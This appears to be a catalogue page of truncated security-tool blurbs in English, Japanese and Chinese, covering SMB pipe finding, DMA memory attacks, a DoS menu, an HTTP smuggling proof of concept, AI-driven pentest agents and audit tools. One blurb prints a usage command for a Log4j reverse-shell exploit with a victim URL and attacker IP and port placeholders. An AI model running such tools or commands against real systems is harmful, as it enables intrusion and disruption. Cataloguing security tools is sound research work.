pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

pipe_finder

Pipe Finder 1.0 SMBプロトコルで利用可能なパイプ名を検索する自動化スクリプト スクリーンショット 必要条件 metasploit-framework wget locate pipeauditv2.rb モジュール https://github.com/peterpt/pipeauditorfb - 初回実行時にインストールされます インストール要件 apt-get install metasploit-framework wget locate && updatedb updatedb は、metasploit-framework のディレクトリを取得するために...

Bountystrike-sh

Bountystrike-sh Bountystrike-sh は、一般的なバグバウンティツールをインストールし、偵察スキャンや継続的なアセット発見を実行する、bash および python スクリプトのコレクションです。 Bountystrike-sh はオープンソースですが、セルフホスト型のバグバウンティ管理システムである BountyStrike プロジェクトに属しています。 root@kitploit: | \ / | | | | \ | | \ \ / / | | | | |/ / | | | | | | | | | | | | | | \ / / | | | | | |...

sharem

SHAREM SHAREMへようこそ！ SHAREMは、DEFCON 31の「Game-Changing Advances in Windows Shellcode Analysis」およびBlack Hat USA Arsenalで発表されました。Max Kersten氏の好意により、TrellixからGhidraプラグイン（別途）が提供されています。これにより、必要に応じてSHAREMの機能をGhidraに拡張できます。...

inception

注意：此工具已不再活跃开发，请查看 PCILeech 代替。 INCEPTION Inception 是一款利用基于 PCI 的 DMA 进行物理内存操控和黑客攻击的工具。该工具可通过 FireWire、Thunderbolt、ExpressCard、PC Card 以及任何其他 PCI/PCIe 硬件接口进行攻击。 Inception 旨在提供一种 相对 快速、稳定、简单且可扩展的方式，通过 DMA 对运行中的计算机执行侵入性和非侵入性内存攻击。 工作原理 Inception 的模块工作原理如下：通过向受害者机器呈现一个序列总线协议 2（SBP-2）单元目录（通过 IEEE1394...

inception

Note: This tool is no longer under active development, please look at PCILeech instead. INCEPTION Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces...

hexstrike-ai

HexStrike AI MCP Agents v6.0 AI搭載MCPサイバーセキュリティ自動化プラットフォーム 150以上のセキュリティツールと12以上の自律型AIエージェントを備えた、高度AI搭載ペネトレーションテストMCPフレームワーク 📋 新機能 • 🏗️ アーキテクチャ • 🚀 インストール • 🛠️ 機能 • 🤖 AIエージェント • 📡 APIリファレンス ソーシャルアカウントをフォロー アーキテクチャ概要 HexStrike AI MCP...

pentmenu

pentmenu 中文说明 ネットワーク偵察とDoS攻撃を迅速かつ簡単に行うためのbashセレクトメニュー 必要に応じてsudoが実装されています。 DebianとArchでテスト済み。 貢献やプルリクエストは大歓迎です！ 必要条件: bash sudo curl netcat（'-k'オプションに対応していること。openbsd派生を推奨） hping3（またはフラッド攻撃の代わりにnpingを使用可能） openssl stunnel nmap whois（必須ではないが推奨） nslookup（または'host'） ike-scan...

CVE-2021-40346-POC

CVE-2021-40346-POC CVE-2021-40346 の整数オーバーフローにより HTTP スマグリングが可能になる 整数オーバーフローによる HTTP リクエストスマグリング 中国語分析：HAProxy リクエストスマグリング脆弱性（CVE-2021-40346）分析 参照: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/ ビルド root@kitploit: git clone...

chkdfront

ドメインフロンティングの確認 chkdfront chkdfront は、対象ドメイン（フロンテッドドメイン）とドメインフロントドメインをテストして、ドメインフロンティングが機能しているか確認します。 root@kitploit: MMMMMMMMMMMMMWNK0kdolc;,' ;KMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMN0xl;'. lNMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMWKxc'. .kWMMMMMMMMMMMMMMMMMMMMMMMMM MMN0o;. ;XMMMMMMMMMMMMMMMMMMMMMMMMM Ol...

heimdall_webserver

注意：このプロジェクトはベータ版であり、多くのバグや問題があります。プロジェクトを支援したい場合は、実際の環境ではなくラボで使用してください。 いいえ、HTTPSはまだ実装されていません。次のアップグレードで追加されます。 Heimdall これは、nixサーバー上の脆弱なパッケージを一元管理するためのツールです。 事前準備 root@kitploit: Python pipがインストールされている必要があります。次のコマンドで確認してください。 which pip pipがインストールされている場合は、次のコマンドを実行してください。 pip install -U pip...

heimdall_webserver

ATTENTION, this project is on a beta version, there's a lot of bugs and problem, if you want to help the project use this on a lab not in yout real environment. NO, there's not https implemented yet, it will come on the next upgrade Heimdall It's a tool to manage vulnerables packages in your nix...

ma2tl

ma2tl macapt からタイムラインへ これは、macapt の分析結果データベースから macOS フォレンジックタイムラインを生成する DFIR ツールです。 必要条件 Python 3.7.0 以降 pytz tzlocal xlsxwriter インストール root@kitploit: % git clone https://github.com/mnrkbys/ma2tl.git 使用方法 root@kitploit: % python ./ma2tl.py -h usage: ma2tl.py -h -i INPUT -o OUTPUT -ot OUTPUTTYPE ...

ma2tl

ma2tl macapt to timeline This is a DFIR tool for generating a macOS forensic timeline from the analysis result DBs of macapt. Requirements Python 3.7.0 or later pytz tzlocal xlsxwriter Installation root@kitploit: % git clone https://github.com/mnrkbys/ma2tl.git Usage root@kitploit: % python...

AnonGT

AnonGT - 匿名ゴースト Kali Linux 向けにすべてのトラフィックを Tor ネットワーク経由でリダイレクト v1.0.0 説明 すべてのトラフィックをTORネットワーク経由でリダイレクトするスクリプト（以下を含む） システム全体を匿名化するためのDNSクエリ 危険なアプリケーションの強制終了 設定とログのクリア Firefoxブラウザの匿名化 タイムゾーン変更 MACアドレス変更 IPを自動的に変更 MITM対策 オニオンリンク検索エンジン オニオンリンクチェッカー ファイルを匿名で共有/受信 Torネットワーク上の匿名チャット ダークウェブにウェブサイトをホスト！...

aegis

Aegis Aegis は、シリコンレベルから完全にオープンソースな FPGA です。 オープンソース FPGA の取り組みは大きな進歩を遂げてきました。Project IceStorm や Apicula はプロプライエタリなビットストリーム形式をリバースエンジニアリングし、OpenFPGA や FABulous はアーキテクチャ記述からオープンな FPGA ファブリックを生成し、Cologne Chip の GateMate は完全にオープンソースなツールチェーンを備えた商用 FPGA を出荷しています。これらのプロジェクトがそれぞれパズルの一片を担う中、Aegis...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: リバースシェル用: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort 脆弱性確認用: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort $...

harbian-audit

harbian-audit ハードニング はじめに ハードニングされたDebian GNU/LinuxおよびCentOS 8ディストリビューションの監査。 主なテスト環境はDebian GNU/Linux 9/10/11/12/13、CentOS 8、Ubuntu 22であり、その他のバージョンは完全にはテストされていません。このリリースではデスクトップ関連の項目は実装されていません。 コードフレームワークはOVH-debian-cisプロジェクトに基づいており、Debian 9/10/11/12/13およびCentOS 8の機能に応じて元の実装の一部を修正し、STIG...

enject

enject .envの秘密情報をprAIngの目から隠します。 （注：このプロジェクトは以前はenveilと呼ばれていましたが、enjectに改名されました） Claude Code、Copilot、CursorなどのAIコーディングツールはプロジェクトディレクトリ内のファイルを読み取ることができるため、平文の.envファイルは偶発的な秘密情報のダンプが発生する危険があります。これは理論上の話ではありません。実際に何度か（Claude...

pentesting-multitool

Pentesting-Multitool はじめに Pentesting-Multitool プロジェクトは、いくつかのペネトレーションテストツールを1つのツールにまとめる必要性から生まれました。これは Python3 を使用して開発され、DNSPython、pythonwhois、scapy などの外部ライブラリを追加します。 このスクリプトの主な機能は、DNSレコード、ドメイン、その他のデバイスに関する情報を収集することです。 使用前の必要な設定 簡単なインストール pentesting-multitool をクローン : $ git clone...